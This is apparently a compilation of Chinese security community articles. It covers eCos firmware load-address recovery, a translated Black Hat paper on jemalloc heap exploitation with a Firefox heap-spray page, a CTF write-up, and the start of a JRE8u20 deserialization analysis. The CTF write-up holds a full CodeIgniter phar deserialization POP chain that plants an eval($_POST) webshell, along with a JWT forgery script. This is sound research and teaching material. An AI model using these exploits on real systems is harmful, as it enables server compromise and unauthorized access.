load_base: 0x80008b90, str_hit_count: 9
[+] Possible load_base: 0x80040000
### binwalk magic添加
设置正确的加载地址后，在对文件进行分析时，在文件头部发现与`VSR table`初始化相关的代码，如下。
.text:80040118 li $gp, 0x809A1140
.text:80040120 li $a0, 0x8099B7D0
.text:80040128 move $sp, $a0
.text:8004012C li $v0, loc_80040224
.text:80040134 li $v1, 0x80000200
.text:8004013C sw $v0, 4($v1)
.text:80040140 sw $v0, 8($v1)
.text:80040144 sw $v0, 0xC($v1)
.text:80040148 sw $v0, 0x10($v1)
.text:8004014C sw $v0, 0x14($v1)
.text:80040150 sw $v0, 0x18($v1)
.text:80040154 sw $v0, 0x1C($v1)
.text:80040158 sw $v0, 0x20($v1)
.text:8004015C sw $v0, 0x24($v1)
# ...
参考文章[ecos vector.S
分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中对`eCos`异常中断的初始化及处理的介绍，对照上述代码可知，`0x80000200`为`hal_vsr_table`的地址，而`0x80040224`则为`__default_exception_vsr`的地址。根据前面推测出的加载地址`0x80040000`，猜测该地址与`__default_exception_vsr`有关，即根据`__default_exception_vsr`的地址，考虑地址对齐，可以推测出对应的加载地址。
# mips cpu 产生exception/interrupt后，cpu 会跳到特定的几个地址上,
# BEV=0时，一般的在0x80000180,当然还有些其他地址，详细的要去看mips书籍
# 这里有这样的代码
FUNC_START(other_vector)
mfc0 k0,cause # K0 = exception cause
nop
andi k0,k0,0x7F # isolate exception code
la k1,hal_vsr_table # address of VSR table
add k1,k1,k0 # offset of VSR entry
lw k1,0(k1) # k1 = pointer to VSR
jr k1 # go there
nop # (delay slot)
FUNC_END(other_vector)
# 从cause 里取出exception ExcCode,然后到hal_vsr_table 取相应的处理vsr, hal_vsr_table的内容是由 hal_mon_init 填充的
.macro hal_mon_init
la a0,__default_interrupt_vsr
la a1,__default_exception_vsr # <===
la a3,hal_vsr_table # <===
sw a0,0(a3)
sw a1,1*4(a3)
sw a1,2*4(a3)
sw a1,3*4(a3)
sw a1,4*4(a3)
sw a1,5*4(a3)
sw a1,6*4(a3)
sw a1,7*4(a3)
sw a1,8*4(a3)
# ...
.endm
# 这里填充的是__default_interrupt_vsr和__default_exception_vsr,
# ExcCode=0是interrupt,其他的都是exception,就是说产生interrupt会调用__default_interrupt_vsr，产生exception会调用__default_exception_vsr。
根据上述代码特征，通过在`binwalk`中添加对应的`eCos
magic`，再次对文件进行分析时即可匹配对应的代码模式，输出`__default_exception_vsr`地址信息，如下，根据该信息即可推测出对应的加载地址。
> 利用`binwalk`对另外几个`eCos`固件(包括其他厂商的)进行分析，也可以输出相关的信息，推测出对应的加载地址。
binwalk RGS200-12P.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
300 0x12C eCos vector table initialization handler, architecture: MIPSEL, default exception vector table base address: 0x80040224, hal_vsr_table base address: 0x80000200
...
### 其他
#### 自动分析
使用`IDA`加载该固件并设置正确的架构、加载地址等参数后，默认情况下`IDA`不会自动进行分析。相比而言，`Ghidra`则可以自动进行分析，成功识别出函数并建立字符串的交叉引用。因此，一种方式是对照`Ghidra`分析的结果，在`IDA`中进行部分手动`Make
Code` (当然，也可以直接使用`Ghidra` … )；另一种方式是写一个简单的`eCos loader`插件，然后`IDA`就可以自动进行分析了。
#### 函数名恢复
该单一大文件中不存在导入表及导出表，故无法区分哪些是常见的系统函数，比如`memcpy()`,
`strcpy()`等。但也有其好处，在代码中存在很多函数名/日志等信息，根据这些信息可以很容易地对函数名进行恢复。
#### 函数调用约定
对于`MIPS32`架构的程序，常见的函数调用约定遵循`O32
ABI`，即`$a0-$a3`寄存器用于函数参数传递，多余的参数通过栈进行传递，返回值保存在`$v0-$v1`寄存器中。而该`eCos`固件则遵循[N32
ABI](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions)，最大的不同在于`$a0-$a7`寄存器用于函数参数传递(对应`O32
ABI`中的`$a0-$a3`, `$t0-$t3`)。
`IDA`中支持更改处理器选项中的`ABI`模式，但仅修改该参数似乎不起作用。默认情况下`"Compiler"`是`"Unknown"`，将其修改为`"GNU
C++"`，同时修改`ABI`为`n32`，之后反编译代码中函数参数的显示就正常了。
### 小结
本文通过对`Zyxel`某设备`eCos`固件进行分析，寻找固件中引用的固定地址，给出了推测固件加载地址的思路，根据该思路成功得到了固件的加载地址。同时，通过对文件进行分析，在文件中发现了与`VSR
table`初始化相关的代码，根据该代码可以反推出固件的加载地址，并在`binwalk`中添加对应的`eCos magic`来自动匹配该模式。
> 脚本见
> [find_ecos_load_addr.py](https://gist.github.com/cq674350529/74e5b6d31780882c54c80302172ad753)
### 相关链接
* [ecos vector.S 分析II: exception/interrupt](https://blog.csdn.net/qq_20405005/article/details/77971929)
* [Starting Embedded Reverse Engineering: FreeRTOS, libopencm3 on STM32F103C8T6](https://blog.3or.de/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html)
* [Magpie: ARM固件基址定位工具开发](https://www.anquanke.com/post/id/198276)
* [limkopi.me: Analysing SJ4000’s firmware](https://limkopi.me/analysing-sj4000s-firmware/)
* [MIPS calling conventions](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions)
* * * | 社区文章 |
原文：[Exploiting the jemalloc Memory Allocator: Owning Firefox's
Heap](https://media.blackhat.com/bh-us-12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_the_%20jemalloc_Memory_%20Allocator_WP.pdf
"Exploiting the jemalloc Memory Allocator: Owning Firefox's Heap")
## jemalloc: 你可能早已使用过
jemalloc是一个用户区内存分配器，越来越多地被软件项目用作高性能堆管理器。 它在Mozilla Firefox中用于Windows，Mac OS
X和Linux平台，以及作为FreeBSD和NetBSD操作系统上的默认系统分配器。
Facebook还在各种组件中使用jemalloc来处理其Web服务的负载。 然而，尽管如此广泛使用，目前还没有关于jemalloc使用的相关工作。
我们的研究解决了这个问题。我们首先检查jemalloc堆管理器的体系结构及其内部概念，同时重点关注识别可能的攻击向量。
jemalloc没有利用过去广泛使用的“unlinking”或“frontlinking”等概念来破坏其他分配器的安全性。
因此，我们开发了可用于攻击jemalloc堆损坏漏洞的新颖开发方法和Primitives。 作为案例研究，我们调查Mozilla
Firefox并演示我们开发的开发Primitives对浏览器堆的影响。
为了帮助愿意继续研究的人员，我们使用其对Python脚本的支持为GDB开发了一个jemalloc调试工具（名为unmask_jemalloc）。
## jemalloc技术概述
jemalloc认识到最小页面利用率不再是最关键的功能。 相反，它侧重于从RAM中检索数据的增强性能。
基于局部性原则，该原理声明分配在一起的项目也一起使用，jemalloc试图在内存中连续地分配。
jemalloc的另一个基本设计选择是通过尝试避免许多同时运行的线程之间的锁争用问题来支持SMP系统和多线程应用程序。
这是通过使用许多'arenas'来实现的，并且第一次线程调用内存分配器（例如通过调用malloc（3））它与特定的 arena 相关联。 threads 到
arena 的分配有三种可能的算法：
* 如果TLS可用，则在线程ID上进行简单散列
* 如果定义了MALLOC_BALANCE并且TLS不可用，则使用简单的内置线性同余伪随机数生成器
* 使用传统的循环算法。
对于后两种情况，thread 和 arena 之间的关联在 thread 的整个生命周期中不会保持不变。
继续我们对主要jemalloc结构的概述，我们有'chunks'的概念。 jemalloc将内存划分为 chunks，总是具有相同的大小，并使用这些
chunks 来存储其所有其他数据结构（以及用户请求的内存）。 chunks
被进一步划分为“runs”，负责处理特定大小的请求/分配。用一个“run”来记录这些空闲和使用过的“regions”的大小。Regions
是用户分配返回的堆项（例如malloc（3）调用）。 最后，每个“run”与“bin”相关联。 Bins 负责存储空闲区域的结构（树）。
图1以抽象的方式说明了jemalloc的基本构建块之间的关系。
### Chunks
jemalloc中，在概念上对可用内存进行划分，chunks 是大的虚拟内存区域。如我们所提到的，chunks
总是具有相同的大小。但是，每个不同的jemalloc版本都有一个特定的 chunks 大小。 例如，Mozilla
Firefox中使用的jemalloc版本的 chunks 大小为1 MB，而FreeBSD libc中使用的 chunks 大小为2 MB。 chunks
由'arena_chunk_t'结构描述，如图2所示。
### Arenas
Arena 是一种管理jemalloc划分为 chunks 和底层页面的内存区域的结构。 Arenas可以跨越多个 chunk，并且根据 chunk
的大小，也可以跨越多个页面。 正如我们已经提到的，arenas 用于缓解与 threads 之间的锁争用问题。 因此，thread
的分配和解除分配总是发生在同一个 arena。 从理论上讲，arenas 的数量与内存分配中的并发需求直接相关。 在实践中，arenas
的数量取决于我们处理的jemalloc变体。 例如，在Firefox的jemalloc中只有一个 arena。 在单CPU系统的情况下，也只有一个
arena。 在SMP系统中，arenas 的数量等于两个（在FreeBSD 8.2中）或四个（在独立变量中）乘以可用CPU核心数。 当然，总有至少一个
arena。Arenas 由图3中所示的结构描述。
### Runs
Runs 是内存进一步划分的单位，由jemalloc在 chunks 中划分。Runs 仅适用于小型和大型分配（大小类在下一段中解释），但不适用于大量分配。
从本质上讲，一个 chunk 被分成几个 runs。 每个 run 实际上是一组一个或多个连续页面（但运行不能小于一页）。 因此，它们与页面大小的倍数对齐。
runs 本身可能是非连续的，但由于jemalloc实现的树搜索启发式算法，使它们尽可能接近。
Run 的主要职责是跟踪最终用户存储器分配的状态（即，空闲或使用），或者以jemalloc术语调用这些 regions。 每个 run 都保存特定大小的
regions （但是不包括我们提到的小型和大型类中）并且使用位掩码跟踪它们的状态。 此位掩码是 run's metadata的一部分;
这些metadata如图4所示。
### Regions
在jemalloc中，术语“regions”适用于malloc（3）返回的最终用户内存区域。 正如我们前面简要提到的，regions
根据其大小分为三类，即：
* small/medium,
* large and
* huge.
Huge regions 被认为是大于 chunk 大小减去一些jemalloc头部的大小。 例如，在 chunk 大小为4 MB（4096
KB）的情况下，huge region 的分配大于4078 KB。 Small/medium 是小于页面的 regions。Large regions
小于huge regions （chunk 大小减去一些头部）并且还大于small/medium regions（页面大小）。
Huge regions 有自己的 metadata ，并与 small/medium ，large regions分开管理。
具体来说，它们由分配器红黑树进行全局管理，并且它们具有自己的专用和连续的 chunks。 Large regions
有自己的runs，即每个大型分区都有专用 run。 它们的 metadata 位于相应的 arena chunk 头上。
根据具体大小，将Small/medium regions 放置在不同的 runs 中。 正如我们已经解释过的，每个 run
都有自己的头，其中有一个位掩码数组，用于指定 run 中的空闲和已使用 regions 。
### Bins
jemalloc使用 bins 来存放空闲的 regions。 “Bins”通过 runs 组织空闲的 regions 并保留有关其regions 的
metadata ，例如大小类，regions 总数等。特定 bin 可以与多个 runs 相关联，但是特定run 只能与特定的 bin 相关联，即在
bin 和 run 之间存在一对多的对应关系。 Bins 在树中组织了相关的 runs。 每个 bin 具有关联的大小类，并存储/管理此大小类的
regions。 通过 bin 的 runs 来管理和访问 bin 的 regions 。每个bin都有一个成员元素，表示最近使用在 bin 中被使用的
run ，称为'current run'，变量名为runcur。 bin 还有 可用/空闲regions 的 runs 树。 当 bin 的current
run 已满时使用此树，即它没有任何空闲 regions。 bin 结构如图5所示。
图6总结了我们对jemalloc架构的概述。
## Exploitation Primitives
在我们开始分析之前，我们想指出jemalloc（以及其他malloc实现）没有实现像'unlinking'或'frontlinking'这样的概念，这些概念已被证明对dlmalloc和Microsoft
Windows分配器的利用具有催化作用。也就是说，我们想强调一个事实，即我们要呈现的攻击并不能直接实现write-4-anywhere
primitive。相反，我们关注如何强制malloc（）（以及可能realloc（））返回一个很可能指向已经初始化的内存区域的块，希望所讨论的区域可能包含对于目标应用程序（C
++
VPTR，函数指针，缓冲区大小等）。考虑到现代操作系统（ASLR，DEP等）中存在的各种反利用策略，我们认为这种结果对于攻击者来说比4字节覆盖更有用。我们的目标是涵盖所有可能的数据或metadata损坏案例，具体而言：
* 相邻区域覆盖
* Run标头损坏
* Chunk头损坏
* 由于Mozilla Firefox不使用线程缓存，因此本白皮书不涉及线程（a.k.a。线程缓存）损坏。有关此主题的更多信息，请参阅[PHRC]和[PHRK]。
### 相邻区域覆盖
相邻堆项目损坏背后的主要思想是，利用堆管理器将用户分配的内存连续放置在彼此旁边而不需要其他数据的事实。 在相同大小等级的jemalloc regions
放置在同一个 bin 上。 如果它们也被放置在bin的相同run 中，则它们之间没有内联 metadata。 因此，我们可以将我们要选择破坏的
object/structure 放在同一个 run 中，并且放在我们计划溢出的易受攻击的 object/structure 旁边。
唯一的要求是它们和易受攻击的 objects 需要具有相同大小，才能放入同等大小的类中，才可能在同一个 run 中。 由于这两个regions 之间没有
metadata ，我们可以从易受攻击的 region 溢出到我们选择的 victim region。 通常，victim
region可以帮助我们实现任意代码执行，例如函数指针。
为了能够将jemalloc堆安排在可预测的状态，到达我们的目的，我们需要了解分配器的行为并使用堆操作策略来影响它。 在浏览器的背景下，在Alexander
Sotirov的作品[FENG]之后，堆操作策略通常被称为“Heap Feng Shui”。
“可预测状态”是指堆必须尽可能可靠地排列，以便我们可以将数据放在我们想要的位置。 这使我们能够使用破坏邻近区域的策略，还可以利用 use-after-free 漏洞。 在use-after-free之后，内存区域被分配，使用，释放，然后由于错误而再次使用。
在这种情况下，如果我们知道区域的大小，我们可以操作堆，以便在再次使用之前将我们自己选择的数据放置在 run 释放的 region 的内存槽中。
在随后的错误使用后，该 region 现在拥有可以帮助我们劫持执行流程的数据。
为了探索jemalloc的行为并将其操纵为可预测的状态，我们使用类似于[HOEJ]中提出的算法。由于在一般情况下我们不能事先知道我们感兴趣的类大小的
runs 状态，我们执行这种大小的许多分配，希望覆盖现有runs 中的孔（即空闲regions）并获得新的
run。希望我们将要执行的下一系列分配将在这个新的 run 中进行，因此这将是有序的。正如我们所看到的，在很大程度上空的 run
的顺序分配也是连续的。接下来，我们执行由我们控制的一系列分配。在我们尝试使用相邻 regions 破坏的情况下，这些分配是我们选择的victim
object/structure，以帮助我们在损坏时获得代码执行。以下步骤是在最后一系列受控victim 分配中解除分配每个第二个
region。这将在我们试图操作的大小类的 run 中与 victim objects/structures
之间创建漏洞。最后，我们强制触发堆溢出错误，由于我们已经安排好的状态，jemalloc将易受攻击的对象放在 run 运行的漏洞中,溢出到 victim
objects 中。在讨论Mozilla Firefox浏览器的案例研究时，我们在以下段落中使用并详细说明了这种方法。
### Run 标头损坏
在堆溢出情况下，攻击者能够溢出后面没有跟着其他 regions 的区域（例如dlmalloc中的wilderness
chunk，但在jemalloc中这样的 regions 并不那么特殊）是很常见的。 在这种情况下，攻击者很可能会覆盖下一个 run 的头部。 由于
runs 保持相同大小的内存区域，下一页对齐的地址将是当前 run 的正常页面，或者将包含下一次run 的 metadata （头部），其将保存不同大小的
regions （更大或更小，但它并不重要）。 在第一种情况下，可以覆盖相同 run 的相邻 regions ，因此攻击者可以使用先前讨论的技术。
后一种情况是以下段落的主题。
熟悉堆利用的人可能会记得攻击者控制分配的最后一个堆项（在我们的例子中是region），也就是说，最近分配的 region 是溢出的 region
。这允许攻击者破坏 run 的标头。当覆盖 run 的 metadata 时，可以使 bin 指针指向假的 bin
结构。但这不是一个好方法，有以下两个原因。首先，攻击者需要进一步控制目标进程，以便在内存中的某处成功构建伪 bin 头。其次，最重要的是，指向 region
的 run 的'bin'指针仅在解除分配期间被解除引用。对jemalloc源代码的仔细研究表明，实际上只使用'run-> bin->
reg0_offset'（在'arena_run_reg_dalloc（）'中某处），因此，从攻击者的角度来看，bin 指针并不那么有趣（'
reg0_offset'覆盖可能会导致进一步的问题，导致崩溃和强制中断我们的漏洞利用）。
我们的攻击包括以下步骤。攻击者溢出 run 的最后一项（例如run ＃1）并覆盖下一个 run （例如，运行＃2）标头。 然后，在下一个大小等于 run
＃2服务的大小的malloc（）时，用户将得到一个指向前一个run 的内存区域的指针（在我们的例子中 run ＃1）。重要的是要理解，为了使攻击起作用，溢出
run 应该服务于属于任何可用bins的regions。
### Chunk 头损坏
我们现在将重点关注攻击者能够破坏 arena 的 chunk 头部后可以做什么。 虽然直接影响附近arena
的概率很低，但是内存泄漏或通过连续的bin大小分配间接控制堆布局可能会使本节中描述的技术成为攻击者手中的有用工具。
我们将分析的场景如下：攻击者通过控制其堆分配强制目标应用程序分配新的 arena。 然后，它在前一个 arena 的最后一个 region （物理上与新
arena 接壤的 region ）中触发溢出，从而破坏了chunk 头的 metadata部分。
当应用程序在新分配的arena的任何region上调用“free（）”时，jemalloc 堆管理信息会被更改。
在下一次调用'malloc（）'时，分配器将返回一个 region，该 region 指向（刚好）前一个 arena 的已分配空间。
## 案例研究：Mozilla Firefox
我们的jemalloc调试工具unmask_jemalloc是使用GNU调试器（gdb）的Python脚本支持实现的。
虽然unmask_jemalloc支持Linux 32位和64位Mozilla Firefox目标，但在Mac OS X操作系统方面存在问题。
Apple的gdb基于6.x gdb树，这意味着它不支持Python脚本。 新的gdb开发快照支持Mach-O二进制文件，但无法加载Apple的fat二进制文件。
为了解决这个问题，我们使用Apple的lipo实用程序和我们开发的一个名为lipodebugwalk.py的脚本。
这个脚本以递归方式在Firefox.app的二进制文件中使用Apple的lipo。 此外，lipodebugwalk.py还支持Mozilla
Firefox的调试符号二进制文件。 图7包含使用fetch-symbols.py（由Mozilla提供）获取Firefox调试符号的输出，以及使用lipodebugwalk.py允许自定义编译版本的gdb加载Firefox。
上面的过程允许我们利用unmask_jemalloc来探索jemalloc如何管理Firefox的堆并帮助我们进行漏洞利用开发。
图8描绘了unmask_jemalloc的帮助消息，并显示了我们在该工具中实现的功能：
使用unmask_jemalloc，我们可以研究如何从Javascript操作Firefox的jemalloc托管堆。
以下脚本使用未转义的字符串和数组来演示受控分配和解除分配。 由于Firefox实现了对传统堆喷的缓解，因此脚本使用随机填充到已分配的块[CORL]。
<html>
<head>
<script>
function jemalloc_spray(blocks, size)
{
var block_size = size / 2;
// rop/bootstrap/whatever
var marker = unescape("%ubeef%udead");
marker += marker;
// shellcode/payload
var content = unescape("%u6666%u6666");
while(content.length < (block_size / 2))
{
content += content;
}
var arr = [];
for(i = 0; i < blocks; i++)
{
// construct the random block padding
var rnd1 = Math.floor(Math.random() * 1000) % 16;
var rnd2 = Math.floor(Math.random() * 1000) % 16;
var rnd3 = Math.floor(Math.random() * 1000) % 16;
var rnd4 = Math.floor(Math.random() * 1000) % 16;
var rndstr = "%u" + rnd1.toString() + rnd2.toString();
rndstr += "%u" + rnd3.toString() + rnd4.toString();
var padding = unescape(rndstr);
while(padding.length < block_size - marker.length - content.length)
{
padding += padding;
}
// construct the block
var block = marker + content + padding;
// if required repeat the block
while(block.length < block_size)
{
block += block;
}
// spray block
arr[i] = block.substr(0);
}
Math.asin(1);
marker = unescape("%ubabe%ucafe");
marker += marker;
content = unescape("%u7777%u7777");
while(content.length < (block_size / 2))
{
content += content;
}
for(i = 0; i < blocks; i += 2)
{
delete(arr[i]);
// arr.splice(i, 1);
arr[i] = null;
}
var ret = trigger_gc();
alert("After garbage collection: " + ret.length);
for(i = 0; i < blocks; i += 2)
{
var rnd1 = Math.floor(Math.random() * 1000) % 16;
var rnd2 = Math.floor(Math.random() * 1000) % 16;
var rnd3 = Math.floor(Math.random() * 1000) % 16;
var rnd4 = Math.floor(Math.random() * 1000) % 16;
var rndstr = "%u" + rnd1.toString() + rnd2.toString();
rndstr += "%u" + rnd3.toString() + rnd4.toString();
var padding = unescape(rndstr);
while(padding.length < block_size - marker.length - content.length)
{
padding += padding;
}
var block = marker + content + padding;
while(block.length < block_size)
{
block += block;
}
arr[i] = block.substr(0);
}
Math.atan2(6, 6);
return arr;
}
function trigger_gc()
{
// force garbage collection
var gc = [];
for(i = 0; i < 100000; i++)
{
gc[i] = new Array();
}
return gc;
}
function run_spray()
{
// 1024 spray blocks of size 320 (target run: 512)
var foo = jemalloc_spray(1024, 320);
alert(foo.length);
}
</script>
</head>
<body onload="run_spray();">
0x1337
</body>
</html>
## 结论
在本白皮书中，我们从开发角度分析了jemalloc内存分配器。 我们开发了可用于攻击利用jemalloc的任何应用程序的开发原语。
此外，我们已将这些原语应用于最广泛使用的jemalloc应用程序，即Mozilla Firefox浏览器。
我们的unmask_jemalloc调试实用程序可以在漏洞利用开发期间用于探索jemalloc的内部，并帮助研究人员继续我们的工作。
## 参考
[[PHRC] argp, huku, Pseudomonarchia
jemallocum](http://phrack.org/issues.html?issue=68&id=10 "\[PHRC\] argp, huku,
Pseudomonarchia jemallocum")
[[PHRK] huku, argp, The Art of Exploitation:
关于jemalloc堆溢出的案例研究](http://phrack.org/issues.html?issue=68&id=13 "\[PHRK\]
huku, argp, The Art of Exploitation: 关于jemalloc堆溢出的案例研究")
[[HOEJ] Mark Daniel, Jake Honoroff, Charlie Miller,
使用Javascript进行工程堆溢出漏洞利用](http://securityevaluators.com/files/papers/isewoot08.pdf
"\[HOEJ\] Mark Daniel, Jake Honoroff, Charlie Miller,
使用Javascript进行工程堆溢出漏洞利用")
[[FENG] Alexander Sotirov, Javascript
中的堆风水](http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
"\[FENG\] Alexander Sotirov, Javascript 中的堆风水")
[[CORL] corelanc0d3r,
堆喷揭秘](https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ "\[CORL\] corelanc0d3r, 堆喷揭秘") | 社区文章 |
# 2021蓝帽杯决赛Web wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Imagecheck
题目给了源码，本地搭建一下。
框架是CodeIgniter。需要开几个php拓展，用phpstudy直接开就行。网站->管理->php拓展 redis和intl。
拿到源码先看路由
首先看到的是Upload路由，它接收了一个文件，file_get_contents读出了这个文件，并过滤。所以文件内容不能含有`HALT_COMPILER`需要bypass。第二个过滤告诉我们白名单是什么。
这里其实很容易想到`phar`反序列化。
再来看一下`Check`路由
发现使用了`getimagesize`且参数可控。`getimagesize`函数是可以触发反序列化的。
因此我们开始着手挖掘pop链。
搜索`__destruct`发现这里的redis可控，可以触发任意类的close。
于是我们全局搜索close
发现了这个close。当`$this->redis`存在时，try内的东西抛出错误的时候，就会进入catch方法。
这里的`$this->redis`就需要用到我们的php拓展 redis中的类了。
关于这里，logger是可控的，于是可以调用任意类的`error`
找到了这个类，调用了log
看下这个log方法。
重点在这里。这些`handlerConfig`都是可控的，因此`$className`和`$config`也都是可控的所以说`$this->handlers[$className]`就可控，进一步，`$handler`也是可控的。
查询一下发现只有一个地方调用了`setDateFormat`
它会给`handler`类的`dateFormat`属性赋值。可以赋任意值。
然后就是调用了`handler`类的`handle`方法。
找到`FileHandler`类中的`handle`方法
仔细观察发现可以写文件
尝试构造。
先自己写一个类
<?php
namespace App\Controllers;
class User extends BaseController
{
public function index()
{
return unserialize($_GET['ser']);;
}
}
然后开始构造EXP：
<?php
namespace CodeIgniter\Session\Handlers{
class RedisHandler{
protected $redis;
protected $logger;
public function __construct($logger,$redis)
{
$this->logger=$logger;
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis=$redis;
}
}
}
namespace CodeIgniter\Log{
class Logger{
}
}
namespace {
$c=new CodeIgniter\Log\Logger();
$b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
$a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
echo urlencode(serialize($a));
}
首先第一步，构造前几个类。前几个类还是比较容易构造的。
来仔细研究一下Logger类的参数该如何构造。
**为了防止出错** 我们先把所有的参数复制过来，然后再修改。
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = [];
protected $filePermissions = 0644;
protected $dateFormat = 'Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [];
public $logCache;
protected $cacheLogs = false;
首先需要修改的就是`$handlerConfig`因为它影响了我们的`$handler`赋值
键名为类名，值为类的实际参数，我们看一下我们要用的`FileHandler`类有哪些参数。然后把这些参数填入`$config`
现在是这样子的
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = [];
protected $filePermissions = 0644;
protected $dateFormat = 'Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
"path"=>"aa",
"fileExtension"=>"php",
"filePermissions"=>"aa"
]];
public $logCache;
protected $cacheLogs = false;
然后尝试反序列化，调试。
打进去单步调试，前几步没有太大问题
到log这里就出现问题了，我们看下问题出现在哪里。
经过调试发现，这个地方返回了`true`也就是说会直接出去。因此我们想办法让他过这个地方
`in_array`是检查数组中师傅含有该值，此时`$level`的值为
因此我们给`$this->loggableLevels`赋值。
把可用的都加上。
经过调试发现这里会直接进入continue，不会进入下面。想办法改一下。
进入`BaseHandler`查看
只要让它返回true就好了。
此时level为error，只要给handlers赋值就可以了。
那我们继续赋值
这样，就可以过这个地方了。
进入handle方法，且参数都是我们控制的。
但是这里有个waf，当后缀是php的时候，那么就会产生一个”死亡exit”
这里的`$date`会被写入，也就是`dateFormat`它也是我们可控的。
因此第一次我们写入的东西就是这样子的
这里加入了死亡exit，`dateFormat`的东西被写进来了。
因此再次更改exp。
如果直接写php的话，h会被date解析成小时，会变成这样，于是就需要转义符
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
"path"=>"uploads/",
"fileExtension"=>"a.php",
"filePermissions"=>"aa"
]];
绕过死亡exit让后缀不为php就行，我们让他成为a.php
ok成功写入。
链子已打通，尝试构造phar。
把php.ini的readonly关闭
生成phar上传
不出所料，被过滤了，原因是phar中含有`HALT_COMPILER`那么 如何绕过？
我们把这个phar拿去gzip一下
`gzip phar.jpg`
就可以绕过检测。
index.php/Check?file=phar://uploads/phar.jpg/test.txt
触发
发现这里写子目录好像不太行，给他改成绝对路径，因为本地测试和phar进入还是有点不一样的
最终exp
<?php
namespace CodeIgniter\Session\Handlers{
class RedisHandler{
protected $redis;
protected $logger;
public function __construct($logger,$redis)
{
$this->logger=$logger;
$this->redis = $redis;
}
}
}
namespace CodeIgniter\Cache\Handlers{
class RedisHandler{
protected $redis;
public function __construct($redis)
{
$this->redis=$redis;
}
}
}
namespace CodeIgniter\Log{
class Logger{
protected $logLevels = [
'emergency' => 1,
'alert' => 2,
'critical' => 3,
'error' => 4,
'warning' => 5,
'notice' => 6,
'info' => 7,
'debug' => 8,
];
protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'];
protected $filePermissions = 0644;
protected $dateFormat = '<?p\\hp \\e\\v\\a\\l($_\\P\\O\\S\\T["\\a"]);?>Y-m-d H:i:s';
protected $fileExt;
protected $handlers = [];
protected $handlerConfig = [
'CodeIgniter\Log\Handlers\FileHandler'=>[
'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
"path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads",
"fileExtension"=>"bbb.php",
"filePermissions"=>"aa"
]];
public $logCache;
protected $cacheLogs = false;
}
}
namespace {
$c=new CodeIgniter\Log\Logger();
$b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
$a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
echo urlencode(serialize($a));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
## editjs
这道题打开根据提示发现了JWT token
http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key
发现token
K3yy
使用jwt token进行伪造
脚本
import jwt
import time
# payload
token_dict = {
"data": "admin",
"iat": int(time.time()),
# "iat": 1629784832 ,
"exp": int(time.time())+1800
# "exp": 1629786632
}
# headers
headers = {
"alg": "HS256",
"typ": "JWT"
}
print()
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='K3yy',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="HS256", # 指明签名算法方式, 默认也是HS256
)
print(jwt_token)
如果没有库可以按照Pyjwt
得到token就可以读文件了
这样可以读取到源码。根据源码进行审计
发现这里使用了拼接。尝试目录穿越读取
发现可以读到/etc/passwd
注释里说flag在环境变量，于是读一下环境变量，就出了
应该是非预期了，预期解是GKCTF2021-easynode的原题 | 社区文章 |
## **概述**
`JRE8u20` 反序列化漏洞主要原理有两个：
1、利用了 `JDK7u21` 的构造原理；
2、通过 `BeanContextSupport` 类反序列化对异常的捕获，绕过了 `AnnotationInvocationHandler`
反序列的修复；
在 `Java` 默认反序列化类基础上进行了修改，学习过程记录一下。
涉及知识点：Java 序列化和反序列化、反射、动态代理等等。
环境：`jdk1.8.0_20`、`IDEA 2019.2`
`Java`
序列化文章可以参考：<https://blog.csdn.net/silentbalanceyh/article/details/8183849>
## **分析过程**
### **_JDK7u21 漏洞修复_**
首先看一下 `jdk1.8.0_20` 对 `AnnotationInvocationHandler` 类的反序列化修复。
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
如果 `this.type` 字段不是 `Annotation` 类型，则抛出异常。在 `JDK7u21` 反序列化中， `this.type` 字段值是
`Templates.class`，所以这里肯定会抛出异常。
### **_JRE8u20 绕过思路_**
